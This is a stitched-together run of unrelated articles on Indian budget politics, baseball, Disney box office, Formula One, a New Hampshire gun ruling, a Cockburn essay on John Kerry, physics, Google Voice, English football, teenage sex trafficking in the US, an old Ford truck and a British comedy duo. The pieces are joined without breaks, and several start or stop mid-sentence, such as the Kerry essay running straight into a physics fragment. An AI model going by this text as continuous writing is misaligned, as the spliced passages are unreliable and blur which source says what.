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He said with only one regular Budget before the 2019 elections, it would be difficult for the government to show results. The constitution of the Prime Minister’s Economic Advisory Council, he said, had come belatedly and it would not be able to deliver given the limited time.Fifteen years after he put on an eye-popping October show in the first game he ever played in Yankee Stadium, outfielder Andruw Jones agreed to a one-year, $2 million contract with the Yankees on Thursday, sources confirmed to ESPN.com.
He also can earn an additional $1.2 million in incentives. Jones will earn $150,000 each for 250 and 275 plate appearances, $200,000 apiece for 300 and 325, and $250,000 each for 350 and 375, a person familiar with the negotiations told The Associated Press.
Jones, who will turn 34 in April, is a long ways removed from his glory days in Atlanta, where he once hit 51 homers in a season, won 10 straight Gold Gloves and played in 75 postseason games. But he did hit 19 homers in 278 at-bats last year for the White Sox and slugged.558 against left-handed pitching.
He's also still a dependable defender at all three outfield positions.Propelled by “Zootopia” and “Star Wars: The Force Awakens,” Disney is crossing the $1 billion mark at 2016’s international box office on Friday.
It’s the earliest that Disney has ever reached the milestone. “Zootopia” has hit $415.9 million so far in its international release, while “The Force Awakens” took in about $447 million this year from foreign markets after grossing $680 million during the last two weeks of 2015.
“Zootopia” has also totaled $217.4 million in the U.S., leading the box office for three weekends.
“Zootopia” is now the second-largest movie ever in Russia, behind only “Avatar,” with $26.5 million. In China, the animated comedy has brought in $184.7 million and is Disney’s second-highest grossing release in that market behind “Avengers: Age of Ultron.”
France is the third highest international market with $26 million, followed by Germany with $19.1 million, South Korea with $18.7 million, Mexico with $15.8 million and Spain with $12.5 million.
“Zootopia” is launching in the U.K. this weekend. Major markets still to come include Japan on April 23.
“Zootopia” has totaled $633 million worldwide, while “Star Wars: The Force Awakens” has a worldwide total of $2.06 billion.
Disney’s “The Finest Hours” has taken in about $23 million so far from international markets to go along with $27 million domestically.Motorsport is all about preparation awaiting opportunity, as Ross Brawn has always said.
But sometimes it is also about 'inspiration' and today was one of those days for Lewis Hamilton, who managed to find half a second over the Ferrari of Kimi Raikkonen and Sebastian Vettel in British Grand Prix qualifying.
Hamilton put a lot of that huge time margin down to the inspiration he derived from the Silverstone crowd and from guests like former F4 racer and double amputee Billy Monger, who has been with Hamilton's group this weekend.
Tomorrow Hamilton goes for his fifth British GP win, however the job is not done yet. Ferrari are set to be more competitive in the race, as they often are, partly due to the fact that they have less margin between their qualifying and race modes on the engine.
In this case there is also the fact that Vettel didn't put his A game on the table today; he was sent out by the team for his final run in Q3 into a gaggle of three cars on his outlap, including Verstappen and Hulkenberg and he had to slow to let them get ahead so he could have clear track. That meant that the tyres were not ready for the hot lap and he lost 2/10ths in the first sector alone as a result.
For the race, the main observation is that there are two Ferraris at the front and only one Mercedes. With Valtteri Bottas' five place penalty for a gearbox replacement, Hamilton is vulnerable to a Ferrari attack if they have the pace to follow him.
We have seen it several times this season, for example Red Bull did it in Monaco on Valtteri Bottas, with Verstappen trying the undercut and Ricciardo the overcut, which yielded a podium. On that occasion Bottas was struggling a bit with his tyres. Hamilton has not shown any signs of that in practice, although the degradation was higher than Ferrari's. Raikkonen had lower degradation than the other two front runners, so could be a candidate for the overcut.
Vettel is well clear of Raikkonen on drivers' championship points now, so he will certainly get the strategy that Ferrari feels has the highest chance of netting a win, if they are P2 and P3 and close enough to try a pincer movement on Hamilton,
"It depends on the pace we have," Vettel told JA on F1 tonight. "If we all start in the same order then we can put him under pressure. He can't react to both of us, that is ideal.
"We will have to see how the pace is after the start and the first lap."
In FP2 the Ferrari was around 3/10ths of a second slower on the suprsoft on long runs, but there wasn't any data from Mercedes on the soft as they didn't do any long runs with it. Ferrari was quick on that tyre.
In general Ferrari has had the edge over Mercedes on the supersoft lately, including Austria last weekend. If they do the first stint tomorrow like they did the second stint in Austria, we have a race on our hands. It is possible to do the race in one stop and Bottas may try it from 9th on the grid starting on the soft tyres, but at the front it is likely to be an opening stint on supersofts and then two stints on softs.
Mercedes has its tactics too; although Bottas starts ninth he is targeting the podium and is able to one stop (soft/medium) that could keep him in Ferrari's pit window and put him ahead on tack after Ferrari's second stop if their pace drops.
Vettel played down the idea that it's always good to beat your rival on his home soil, saying that all the drivers appreciate this event and this circuit.
"This is a great race for all drivers, lots of fans and a lot of support for all of us," he said. "The crowd is very fair. It's a great track, really enjoyable,
"So for sure it's a nice race to win with a lot of history; it means a lot."
How do you read the situation going into this race? Leave your comments in the section belowCONCORD, N.H. (AP) — The New Hampshire Supreme Court says ammunition must be in a weapon and not just near it for a gun to be loaded under state law.
CONCORD, N.H. (AP) — The New Hampshire Supreme Court says ammunition must be in a weapon and not just near it for a gun to be loaded under state law.
The court's unanimous ruling means the Class A misdemeanor charge against 31-year-old Oriol Dor of Manchester will be thrown out.
During a search of Dor's vehicle in May 2012, police found a semi-automatic pistol and a loaded magazine in his glove compartment.
Prosecutors argued that the law that defines a loaded pistol should be construed broadly to include the proximity of ammunition to the weapon in the interest of public safety.
But the court said that interpretation would create ambiguity about how close to the gun the ammunition had to be to violate the law.
Dor's lawyer didn't immediately return a call seeking comment.The correlative to a politics of ‘Anyone but Bush’ has become: not a word against Kerry! Alexander Cockburn on the great silence of progressive America as the Democratic candidate pledges more troops for Iraq, greater fiscal austerity and a strong hand in the war on terror.
ALEXANDER COCKBURN
THE YEAR OF SURRENDERING QUIETLY
Every four years, liberals unhitch the cart and put it in front of the horse, arguing that the only way to a better tomorrow is to vote for the Democratic nominee. But unless the nominee and Congress are pushed forward by social currents too strong for them to ignore or defy, nothing will alter the default path chosen by the country’s supreme commanders and their respective parties. In the American Empire of today, that path is never towards the good. Our task is not to dither in distraction over the lesser of two evil prospects, which will only turn out to be a detour along the same highway.
As now constituted, presidential contests, focused almost exclusively on the candidates of the two major parties, are worse than useless in furnishing any opportunity for national debate. Consider the number of issues on which there is tacit agreement between the Democratic and Republican parties, either as a matter of principle or with an expedient nod-and-wink that, beyond pro forma sloganeering, these are not matters suitable to be discussed in any public forum: the role of the Federal Reserve; trade policy; economic redistribution; the role and budget of the cia and other intelligence agencies (almost all military); nuclear disarmament; reduction of the military budget and the allocation of military procurement; roles and policies of the World Bank, imf, wto; crime, punishment and the prison explosion; the war on drugs; corporate welfare; energy policy; forest policy; the destruction of small farmers and ranchers; Israel; the corruption of the political system; the occupation of Iraq. The most significant outcome of the electoral process is usually imposed on prospective voters weeks or months ahead of polling day—namely, the consensus between the supposed adversaries as to what is off the agenda.
To be sure, there are the two parties who vituperate against each other in great style, but mostly this is only for show, for purposes of assuaging blocs of voters in the home district while honouring the mandate of those paying for the carousel. In the House, on issues like dumping the us Constitution in the trash can of the Patriot Act, there are perhaps thirty representatives from both sides of the aisle prepared to deviate from establishment policy. The low water mark came on September 14, 2002, when a joint resolution of Congress authorizing the president to ‘use all necessary and appropriate force against those nations, organizations, or persons he determines planned, authorized, committed, or aided the terrorist attacks on September 11, 2001’ drew only one No, from Barbara Lee, the Democratic congresswoman from Oakland. A stentorian July 2004 endorsement of Bush’s support for Sharon’s ‘peace plan’ by the House of Representatives elicited 407 ayes and 9 lonely noes.
Imperial entropy
On the calendar of standard-issue American politics, the quadrennial nominations and presidential contests have offered, across the past forty years, a relentlessly shrinking menu. Back in 1964, the Democratic convention that nominated Lyndon Johnson saw the party platform scorn the legitimate claim of Fannie Lou Hamer and her fellow crusaders in the Mississippi Freedom Democratic Party to be the lawful Mississippi delegation. The black insurgents went down to defeat in a battle that remained etched in the political consciousness of those who partook in or even observed the fray. There was political division, the bugle blare and sabre slash of genuine struggle. At the Chicago convention of 1968 there was still a run against lbj, albeit more polite in form, with Eugene McCarthy’s challenge. McCarthy’s call for schism was an eminently respectable one, from a man who had risen through the us Senate as an orthodox Democratic Cold War liberal.
Four years later, when George McGovern again kindled the anti-war torch, the party’s established powers, the labour chieftains and the money men, did their best to douse his modest smoulder, deliberately surrendering the field to Richard Nixon, for whom many of them voted. And yet, by today’s standards, that strange man Nixon, under whose aegis the Environmental Protection Agency was founded, the Occupational Safety and Health Act passed, Earth Day first celebrated, diplomatic relations established with Mao’s China and Keynesianism accepted as a fact of life, would have been regarded as impossibly radical. Of course, it was the historical pressures of the time that moulded Nixon’s actions—the Cold War context, the rising tide of Third World struggles (Vietnam foremost among them), labour victories, inner-city insurgencies, the counter-culture. The same goes for judicial appointments, often the last frantic argument of a liberal urging all back under the Big Democratic Tent. The Blacks, Douglases, Marshalls and Brennans were conjured to greatness by decade-long movements for political and cultural change, and only later by the good fortune of confirmed nomination. The decay of liberalism is clearly reflected in the quality of judges now installed in the Federal district courts. At the level of the us Supreme Court, history is captious. The best two of the current bunch, Stevens and Souter, were nominated by Republican presidents, Ford and G. H. W. Bush.
With Jimmy Carter came the omens of neoliberalism, whose hectic growth was a prime feature of the Clinton years under the guiding hand of the Democratic Leadership Council. But in the mid-to-late 1970s Carter had to guard his left flank, whence he sustained eloquent attacks from Barry Commoner and his Citizens’ Party in 1976, and then in 1979–80 from Senator Edward Kennedy, who challenged Carter for the nomination under the battle standard of old-line New Deal liberalism. The fiercest political fighting of the 1980s saw Democratic party leaders and pundits ranged shoulder to shoulder against the last coherent left-populist campaign to be mounted within the framework of the Democratic Party: that of Jesse Jackson and the Rainbow Coalition. As JoAnn Wypijewski pithily resumes Clinton’s payback to the Rainbow forces:
By a brisk accounting of 1993 to 2000, the black stripe of the Rainbow got the Crime Bill, women got ‘welfare reform’, labour got nafta, gays and lesbians got the Defence of Marriage Act. Even with a Democratic Congress in the early years, the peace crowd got no cuts in the military; unions got no help on the right to organize; advocates of dc statehood got nothing (though statehood would virtually guarantee two more Democratic Senate seats and more representation in the House); the single-payer crowd got worse than nothing. Between Clinton’s inaugural and the day he left office, 700,000 more persons were incarcerated, mostly minorities; today one in eight black men is barred from voting because of prison, probation or parole.
All for Clinton
By the time Clinton launched his run for the presidency at the start of the 1990s resistance from the left, inside the Democratic Party and beyond, was at a low ebb. It stayed that way throughout his two terms. Battered from his first weeks for any deviation from Wall Street’s agenda, Clinton—like Carter before him, who also had a Democratic majority in Congress—had effectively lost any innovative purchase on the system by the end of the first six months, and there was no pressure from the left to hold him even to his timid campaign pledges. By the end of April 1993, Clinton had sold out the Haitian refugees; handed Africa policy to a Bush appointee, Herman Cohen, thus giving Jonas Savimbi the green light to butcher thousands in Angola; put Israel’s lobbyists in charge of Middle East policy; bolstered the arms industry with a budget in which projected spending for 1993–94 was higher in constant dollars than average spending in the Cold War from 1950 onwards; increased secret intelligence spending; maintained full Drug Enforcement Agency funding; put Wall Street in charge of national economic strategy; sold out on grazing and mineral rights on public lands; pushed nafta forward; plunged into the ‘managed care’ disaster offered as ‘health reform’ by Hillary Rodham Clinton and himself.
Year after year the women’s movement, labour unions, the mainstream environmentalists, civil-liberty watchdogs, liberal advocacy groups and public-interest networks stayed mute, as Clinton triangulated Republican positions and sold poor single mothers, working people, forests, mountains and constitutional protections down the river. A representative figure was Marian Wright Edelman, a friend of the First Lady, head of the Children’s Defence Fund and a Democratic Party loyalist stretching back to the savage wars on Fannie Lou Hamer and the Mississippi Freedom people in 1964. In May 1996, Edelman organized a Save the Children rally at the Lincoln Memorial. She pledged commitment to building a just America. She invoked Lincoln and obliquely criticized George Bush Sr. The name of the current occupant of the White House, who had just endorsed a Republican programme in Wisconsin proposing to end welfare as an entitlement and putting a five-year cap on lifetime benefits, never once passed her lips.
The collapse of the liberal advocates for children was matched by kindred surrender across the entire terrain of public policy, from budget balancing to civil liberties, crime to health care. Pressed for explanations for their pusillanimity, the liberal advocates explained that the Republican hordes who had swept into Congress in 1994 were so barbaric, as was the prospect of a Dole presidency, that they had no choice but to circle the wagons round Clinton. Liberals were aghast when, during his 1996 re-election campaign, Clinton took for his own the Republican proposal for ‘welfare reform’—but they did nothing. There was no insurgency, no rocking of the boat, no ‘divisive’ challenge on that or anything else. The Democratic Party, from dlc governors to liberal public-interest groups, mustered around their leader and marched arm-in-arm into the late 1990s, along a path signposted toward the greatest orgy of corporate theft in history, deregulation of banking and food safety, rates of logging six times those achieved in the subsequent Bush years, a vast expansion of the death penalty, re-affirmation of racist drug laws, the foundations of the Patriot Act and the criminal bombardment of Yugoslavia.
Clinton presided over passage of nafta, insulting labour further with the farce of side agreements on ‘rights’ that would never be enforced. End result: half the companies targeted by organizing drives in the us intimidate workers by saying that a union vote will force the company to leave town; 30 per cent of them fire the union activists (about 20,000 workers a year); only one in seven organizing drives has a chance of going to a vote, and of those that do result in a ‘yes’ for the union, less than one in five has any success in getting a contract. Polls suggest that 60 per cent of non-unionized workers would join a union if they had a chance. The Democrats have produced no legislation to help labour organizers; on the contrary, they have campaigned against laws that might have done so.
The incumbent
There is no need to labour the details of Bush’s ghastly incumbency in these pages. His performance and personality have been etched well past caricature by dozens of furious assailants, culminating in Michael Moore’s Fahrenheit9/11, the Democrats’ prime campaign offering. He came by his fortune and his presidency dishonestly. Official rebirth in Christ led him not to compassion but to vindictiveness. Genes and education turned into a Mendelian stew of all that is worst and most vulgar in the anthropology of the Northeastern and Texan elites. But despite his unalluring personality and severe limitations Bush does not merit the weight of those hysterical comminations heaped on his head on a daily basis. Reagan was much worse. So, in some significant ways, was Clinton. Bush stands accused of killing some 3,500–4,000 Afghan civilians, and 12,000–14,000 Iraqis. On conservative estimates, Clinton supervised the slaughter, by direct military assault or by sanctions, of nearly ten times that number; many more if you throw in those who died in the Rwandan genocide, in part because Clinton wanted to keep the international spotlight on Yugoslavia.
The other cherished liberal myth, that a vast gulf separates Bush’s foreign policy from what Al Gore’s would have been, is belied by the latter’s own words—replicating his 1992 onslaughts on George Bush Sr for not having finished off Saddam Hussein. Gore proclaimed in the us Senate that Saddam was
a threat to regional and even global security... The threat he represents is so severe that responding with force is not only legitimate but could be unavoidable... Saddam Hussein has more troops than Hitler did in the early years of World War ii.
During the 1992 campaign, Gore wrote in the New York Times that ‘we can no more hope for a constructive relationship with Saddam Hussein than we could hope to housebreak a cobra’, that Saddam Hussein ‘is not an acceptable part of the landscape’ and that ‘his Ba’athist regime must be dismantled as well’. As he put it on Larry King Live: ‘We should have bent every policy—and we should do it now—to overthrow that regime and to make sure that Saddam Hussein is removed from power’.
Ghost senator
The Kerry candidacy in 2004? As an inspirational candidate, he’s a dud, even damper a political squib than Michael Dukakis and, by dint of his chill snobbery, less appealing. Democrats know this in their hearts. Twit them about Kerry’s dreariness, reminiscent of tepid chowder on a damp day in Boston or of Weeping Ed Muskie amid the snows of New Hampshire, and one gets the upraised palm and petulant cry, ‘I don’t want to hear a word against Kerry!’ It is as though the Democratic candidate has been entombed, pending resurrection as president, with an honour guard of the National Organization of Women, the afl-cio, the League of Conservation Voters, Taxpayers for Justice and the naacp. To open the tomb prematurely, to admit the oxygen of life and criticism, is to blaspheme against political propriety. Amid the defilements of the political system, and the collapse of all serious political debate among the liberals and most of the left, the Democratic candidate becomes a kind of Hegelian Anybody, as in Anybody but...
Kerry’s inner emptiness is thus peculiarly appropriate. Insecurely positioned from childhood on the margins of the elite, a heavily calculating opportunism has been his life’s guiding compass, whether pursuing wealthy women or plotting his political career. His four months in Vietnam—during which he bagged five medals (see below), enough to get him transferred to a desk job as an admiral’s aide in New York, and to earn the soubriquet Quick John from the crew members he left behind—were followed, after a year and a half’s cautious consideration, by five months of high-profile media coverage as a leading spokesman for Vietnam Veterans Against the War, the springboard for his first (unsuccessful) Congressional bid. His tour in Vietnam became the target of damaging campaign ads in late August 2004 that clearly rattled Kerry, who fumed at these onslaughts on his martial honour from a president so indifferent to the Call to Arms that he declined even to undergo a routine medical check to maintain his status in the National Guard. But Kerry has only himself to blame, since it was his decision to exploit what he once, with no less opportunism, repudiated, preening at Boston with the medals he so carefully declined to toss away during the anti-war rallies in which he insisted on a starring role back in the early 1970s.
Kerry’s three terms since entering the us Senate in 1984 have left almost no footprints of interest. Karl Rove’s propagandists have been hard put to transform this utterly conventional figure into a seditious radical, hell-bent on putting the Pentagon out of business. A seasoned staffer on one of the military appropriations committees described him deprecatingly to me as ‘the ghost senator; around here he doesn’t count for anything.’ Instead, Kerry’s time was more profitably spent, raising funds at a rate that put him in the top decile of incumbents. By 1990 he was already able to spend $8 million on his re-election, climbing to $10 million by 2002, though he had raised even more than this—$15 million compared to an average of less than $5 million for senatorial incumbents running for re-election during that year. The vast bulk of his money came from finance, insurance, real estate and lawyers and lobbyists.
Although once his nomination was assured he regularly hammed it up in photo-ops with the barons of big labour, as a senator Kerry voted for nafta, the wto and virtually every other job-slashing trade pact that came before the Senate. He courted and won the endorsement of nearly every police association in the nation, regularly calling for another 100,000 cops on the streets and even tougher criminal sanctions against victimless crimes. He refused to reconsider his fervid support for the war on drug users, and minimum mandatory sentences. Like Lieberman in 2000, Kerry has marketed himself as a cultural prude, regularly chiding teens about the clothes they wear, the music they listen to and the movies they watch. But even Lieberman did not go so far as to support the Communications Decency Act. Kerry did. (Fortunately, even this Supreme Court had the sense to strike the law down, ruling that it trampled across the First Amendment.) All of this is standard fare for contemporary Democrats, but Kerry always went the extra mile. The senator duly voted for Clinton’s 1996 bill to dismantle welfare for poor mothers and their children.
Punishing countries
Kerry enthusiastically backed both of Bush’s wars. In June 2004, at the very moment Bush showed signs of wavering, the senator called for 25,000 new troops to be sent to Iraq, with a plan for the us military to remain entrenched there for at least the next four years. Kerry supported the Patriot Act without reservation or even much contemplation. Lest one conclude that this was a momentary aberration sparked by the post-9/11 hysteria, consider the fact that Kerry also voted for the Act’s two Clinton-era predecessors, the 1994 Crime Bill and the 1996 Counter-Terrorism and Effective Death Penalty Act. In mid August a senior aide of Kerry said that his boss supported ‘96 per cent’ of the Patriot Act and indeed had drafted some of its language. In his 1997 book The New War Kerry wrote, five years before Guantánamo: ‘We now need to consider experimenting with our closest partners in a system that sets up special courts to try cases at home involving victims abroad’. He went on:
In dealing with states that are outright criminal, the United States may, at times, need to take unilateral action to protect its citizens, its interests, its integrity. This need not take as dramatic a form as our invasion of Panama and arrest of Noriega, though it would be unwise to rule out that option a priori. It does mean that we can and should punish countries that wilfully refuse to protect our citizens and in effect become state sponsors of criminality, as we now are doing with Myanmar and Nigeria.
Beyond his dedication to ‘seeing it through’ in Iraq, Kerry’s global policies are virtually indistinguishable from those of Bush—although his prostrations toward Israel have been slavish even by normal Democratic standards; expressing his understanding for Israel’s assassination of Hamas leader Rantissi, for instance. His chief foreign-policy adviser, Rand Beers, worked first for Clinton, then Bush as a ‘counterterrorism’ official. Beers was one of the architects of Plan Colombia, ardently defending the coca-eradication programme that saw peasants and their farms doused with glyphosate. Kerry has lashed Bush for being soft on Chávez, and has accused the Venezuelan leader of aiding drug traffickers and being too close to Castro. According to Beers: ‘The Bush administration has a somewhat tainted record on Venezuela. They’ve been unprepared to do everything necessary to speak out on the issues of democracy.’
Internationally, Kerry offers himself largely as a more competent manager of the Bush agenda, a steadier hand on the helm of Empire. Domestically, the best that can be hoped for from him is a return to the disgraceful status quo ante on income tax, plus modest funding increases for Medicare/Medicaid and higher-end insurance claims—though these are unlikely to get through a Congress filled to the brim with loyal representatives of commercial health interests, and will anyway be subordinate to Kerry’s first task, lowering the deficit. Whoever settles down in the Oval Office next January will be facing a very serious economic situation, with the level of the national debt as a proportion of gdp at an all time high, and the distinct prospect of a break in the bubble in housing prices which would most likely shove the country back deep into the recession from which it has barely emerged.
Kerry’s pedigree has all the appropriate quarterings. He was a founder member of the Democratic Leadership Council, the camarilla of neoliberals that reshaped the image of the Democratic Party as a hawkish and pro-business party with a soft spot for abortion—essentially a stingier version of the Rockefeller Republicans. dlc strategy has been to concentrate on the white-collar professionals and the corporations, particularly in the area of the ‘new economy’, whose ceos Clinton so successfully courted—layers capable of generating campaign contributions far outweighing those of organized labour. The Democratic Party, the argument went, would always be able to count on the working-class vote—it had nowhere else to go. Targeting the New Economy billionaires has had its own, unstoppable logic. As David Friedman of the New America Foundation put it in the Los Angeles Times: ‘the cleansing of working-class concerns from America’s once-progressive politics’ reflects the interests of ‘a new, fabulously privileged elite—including website and computer gurus, actors, media magnates and financial power brokers’, who now exercise ‘unparalleled influence’ over mainstream liberalism and the Party itself. In the categories of this year’s Democratic convention sponsors—Platinum Plus (over $2 million), Platinum (over $1 million), Gold (over $500,000 |
just one history of one universe.”
He hopes these principles will bring a fresh adventure in science.
If we accept there is only one universe and that time is a fundamental property of nature, then this opens up the possibility that the laws of physics evolve with time. As Smolin writes, “The notion of transcending our time-bound experiences in order to discover truths that hold timelessly is an unrealizable fantasy. When science succeeds, we do nothing of the sort; what we physicists really do is discover laws that hold in the universe we experience within time. This, I would claim, should be enough; anything beyond that is more a religious urge for transcendence than science.”
Source: Institute of PhysicsLast November Google acquired Gizmo5, a VoIP service that competed with Skype by making P2P VoIP calls as well as making and receiving calls with POTS (normal landlines) and mobile phones.
Gizmo5 fills some of the holes in the Google Voice product, particularly providing an endpoint for calls. Currently Google Voice users must assign their Google Voice phone number to an actual phone to make and receive calls.
Google never commented on how they might use Gizmo5’s technology. But we’ve confirmed that they have now built a Google Voice desktop application to make and receive calls. From a user perspective, this will let Google Voice users take calls right from their desktop.
When will the new application launch? Possibly soon. Earlier this week Google started testing the application internally. This “dogfooding” of products (as in “eating your own dog food”) is a step that Google and many other companies take before launching something publicly, to iron out any problems that pop up.Get the biggest Aston Villa FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Preston North End are currently right on track to achieve automatic promotion.
It’s essential for the club, given their shocking play-off record, and there’s even a slim chance of them catching leaders Bristol City if they can maintain their current run.
Leading the way for PNE are Callum Robinson and Daniel Johnson, both products of the Villa youth academy.
Rewind to the end of January. The mood at Deepdale is grim. Their play-off spot looks to be slipping away from them following a poor run of form.
They’ve just been denied a trip to Wembley over two legs by Walsall in the Football League Trophy and they’ll need to go away to Sheffield United in the FA Cup to progress after spurning the chance to win at home.
Manchester United are drawn and some fans even begin to call for Simon Grayson’s head.
Preston wisely return for Callum Robinson, overlooked at Aston Villa despite the fact that, at the time, they desperately needed a little inspiration.
The striker is hugely popular in the North-West following an earlier spell in the season. He gets a chance to play first team football and Preston get a little depth. An easy decision all round.
Also travelling up the M6 is Daniel Johnson for a fee of just 50k.
Not a tiny fee for League One club with a past of financial difficulties, but inconsequential for a side the size of Aston Villa.
The effect that Johnson has had at Preston is incredible. Five goals and an assist only hint at the talent the player has. A player that can dribble and pass like Johnson can at League One level is rare.
Preston fans have been heard singing about their good luck at getting him for such a small fee. His value has probably increased tenfold already.
The tables above and below show how Preston have turned their season around since adding the Villa youngsters to their ranks.
At the moment, Aston Villa are on the up and that’s great news. Preston are benefiting from the fruits of Aston Villa’s youth system.
Without getting carried away, you could put forward an argument saying that, if achieved, their promotion will have cost them 50k. The financial rewards will be far greater.
Along with their own sense in the transfer and loan market, and not forgetting the contribution of the mercurial Joe Garner, Preston North End could be feeling very grateful to Aston Villa come the end of the season.I’ve often reported on sex trafficking in other countries, and that has made me curious about the situation here in the United States. Prostitution in America isn’t as brutal as it is in, say, India, Nepal, Pakistan, Cambodia and Malaysia (where young girls are routinely kidnapped, imprisoned and tortured by brothel owners, occasionally even killed). But the scene on American streets is still appalling — and it continues largely because neither the authorities nor society as a whole show much interest in 14-year-old girls pimped on the streets.
Americans tend to think of forced prostitution as the plight of Mexican or Asian women trafficked into the United States and locked up in brothels. Such trafficking is indeed a problem, but the far greater scandal and the worst violence involves American teenage girls.
If a middle-class white girl goes missing, radio stations broadcast amber alerts, and cable TV fills the air with “missing beauty” updates. But 13-year-old black or Latina girls from poor neighborhoods vanish all the time, and the pimps are among the few people who show any interest.
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These domestic girls are often runaways or those called “throwaways” by social workers: teenagers who fight with their parents and are then kicked out of the home. These girls tend to be much younger than the women trafficked from abroad and, as best I can tell, are more likely to be controlled by force.
Pimps are not the business partners they purport to be. They typically take every penny the girls earn. They work the girls seven nights a week. They sometimes tattoo their girls the way ranchers brand their cattle, and they back up their business model with fists and threats.
“If you don’t earn enough money, you get beat,” said Jasmine, an African-American who has turned her life around with the help of Covenant House, an organization that works with children on the street. “If you say something you’re not supposed to, you get beat. If you stay too long with a customer, you get beat. And if you try to leave the pimp, you get beat.”
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The business model of pimping is remarkably similar whether in Atlanta or Calcutta : take vulnerable, disposable girls whom nobody cares about, use a mix of “friendship,” humiliation, beatings, narcotics and threats to break the girls and induce 100 percent compliance, and then rent out their body parts.
It’s not solely violence that keeps the girls working for their pimps. Jasmine fled an abusive home at age 13, and she said she — like most girls — stayed with the pimp mostly because of his emotional manipulation. “I thought he loved me, so I wanted to be around him,” she said.
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That’s common. Girls who are starved of self-esteem finally meet a man who showers them with gifts, drugs and dollops of affection. That, and a lack of alternatives, keeps them working for him — and if that isn’t enough, he shoves a gun in the girl’s mouth and threatens to kill her.
Solutions are complicated and involve broader efforts to overcome urban poverty, including improving schools and attempting to shore up the family structure. But a first step is to stop treating these teenagers as criminals and focusing instead on arresting the pimps and the customers — and the corrupt cops.
“The problem isn’t the girls in the streets; it’s the men in the pews,” notes Stephanie Davis, who has worked with Mayor Shirley Franklin to help coordinate a campaign to get teenage prostitutes off the streets.
Two amiable teenage prostitutes, working without a pimp for the “fast money,” told me that there will always be women and girls selling sex voluntarily. They’re probably right. But we can significantly reduce the number of 14-year-old girls who are terrorized by pimps and raped by many men seven nights a week. That’s doable, if it’s a national priority, if we’re willing to create the equivalent of a nationwide amber alert.Nov. 6, 1974: the date one Dartmouth man rhymes off without hesitation. It's the day he met his oldest friend, Duncan — a Ford pickup truck he still drives today.
Rick Gautreau, then a 22-year-old musician, needed a way to get more gigs.
"I really wanted to get a taste of the rock 'n roll life and have a band that could travel. The main thing you need to travel is a reliable vehicle," he said.
Reliable, indeed. On that day 42 years ago, he walked into his local Ford dealership and bought an F-100 SuperCab Ranger for a whopping $6,500 — "in 1974 dollars."
A $10 fillup
"It had this peculiar feature that I often thought would be great for a pickup truck. It had a back seat," Gautreau told CBC's Maritime Noon.
It meant four guys, luggage and instruments could "be warm" in a truck that size. Though his rock 'n roll days are over, he still drives Duncan today, and has racked up over 643,000 kilometres.
"Most of the mileage was piled up in the first, say, 20 years of the truck's life. And the last 20 have been a lot less because, you know, as I got older, I gave up travelling."
The days of being able to fill up from empty for $10 may be gone, Gautreau says, but Duncan still has purpose.
The truck "was never babied." To this day, Duncan still moves plywood and cinder blocks at the two antique homes Gautreau and his wife own and maintain.
Efforts 'to make him last'
Duncan wasn't his first. His dad gave him a 1966 short Ford pickup truck when he turned 21, but it rusted out badly. The solution, he says, was to buy a brand new truck and take care of it.
He thought 10 years would make that endeavour a success.
"I thought that was a noble thing to try to do," he said. "So, when I bought Duncan that was the plan — to make him last."
Gautreau says the secret to Duncan's longevity is regular maintenance — changing the oil every 5,000 kilometres and keeping it undercoated.
A song for Duncan Ford
Gautreau pulled into a Midas Muffler shop in the spring of 1978. He wanted to know more about a muffler warranty they were offering. As long as he owned the vehicle, he could keep getting free replacements.
Gautreau says he lost count after 26.
When Duncan turned 20, he decided to contact Ford to let them know how great the truck had been.
"They gave me a $500 gift certificate, called a loyalty certificate, and it was for $500 off the purchase of my next, new Ford vehicle," he said with a laugh. "I've never used it."
Locals know him and his best truck friend so well that occasionally he'll get a note on his windshield that say, "Hey Rick, we were here. We saw Duncan!"This article first appeared in May 2013.
Readers of a certain age may remember the first time they saw Vic and Bob on television. For some, it may have been the 25th of May 1990, the fateful night "Britain's top light entertainer and singer" Vic Reeves burst onto screens with an absurdly fast, lounge-act rendition of The Monkees' I'm A Believer. In the background, his cohort Bob Mortimer looked on admiringly, dressed in the stovepipe hat and vast sideburns of Isambard Kingdom Brunel.
For many viewers, this was a first glimpse inside the strange world of a comedy duo who'd already garnered a cult following in London pubs and clubs in the mid-1980s. Having impressed the likes of Jonathan Ross and Alan Yentob with their surreal, apparently semi-improvised comedy, Vic and Bob soon found a home on Channel Four with Vic Reeves Big Night Out, a compressed, televised version of their stage show.
As that first episode unfolded, Channel Four's executives may have wondered how the public would react to this chaotic and frankly weird mix of cover songs, sketches, novelty acts and awkward catchphrases. Although some were quick to compare Vic and Bob's humour to that of Spike Milligan, there really was nothing quite like Big Night Out on television, either before or afterwards.
The show hinged around the arrogant, dandyish Vic Reeves, the stage name and alter-ego comedian James Moir adopted and perfected during his years on the 80s comedy circuit. From behind his cluttered desk of horse brasses and random paraphernalia, Reeves oversaw a procession of guest performances and comedy routines, with most of the other characters played by his partner Bob in a variety of hastily-applied disguises.
Regular fixtures included Novelty Island, where a gallery of eccentric characters took to the stage to demonstrate their dubious talents - including one Graham Lister (played by Bob), Vic's snobby, passive-aggressive arch-nemesis - and That's Justice, where Vic and Judge Nutmeg (Bob again) would find members of the audience guilty for a series of unlikely crimes.
Across two series, a New Year's special and a sell-out live tour, Vic Reeves Big Night Out also introduced The Man With The Stick, a character in a cardboard helmet who often stubbornly refused to reveal what he kept inside a carrier bag (hanging, naturally, at the end of a stick), a pair of ineffectual aromatherapists named Dr Richard Slater and Dr Richard Slater, a pair of squeaky-voiced brothers called the Stotts, and a pair of pretentious performance artists who called themselves Action! Image! Exchange! Then there was Les, the silent chap in the lab coat who harboured an irrational fear of chives and an equally unaccountable love of spirit levels.
Most of these characters and their actions defied logic, from the mad physical comedy of Talc And Turnips to the Living Carpets and their compulsive lies ("You know The Barber Of Seville? That's based on my life"). But even in its most surreal moments, Big Night Out was held together not only by the unlikely, shambolic charisma of Vic Reeves himself, but also its variety show format. Strip away the surrealism, and the show was remarkably close to the sort of comedy that played in the music halls of 19th and 20th century Britain.
In taking this variety approach to comedy - something deemed utterly outmoded by the 80s and 90s - Vic and Bob created something entirely new and unexpected. The surreal bit of the duo's act wasn't always mere buffoonery, either, even though TV magazines at the time occasionally published letters from viewers arguing that it was (I'll always remember a letter that appeared in a 1993 copy of TV Quick that described their show as "a load of old twaddle").
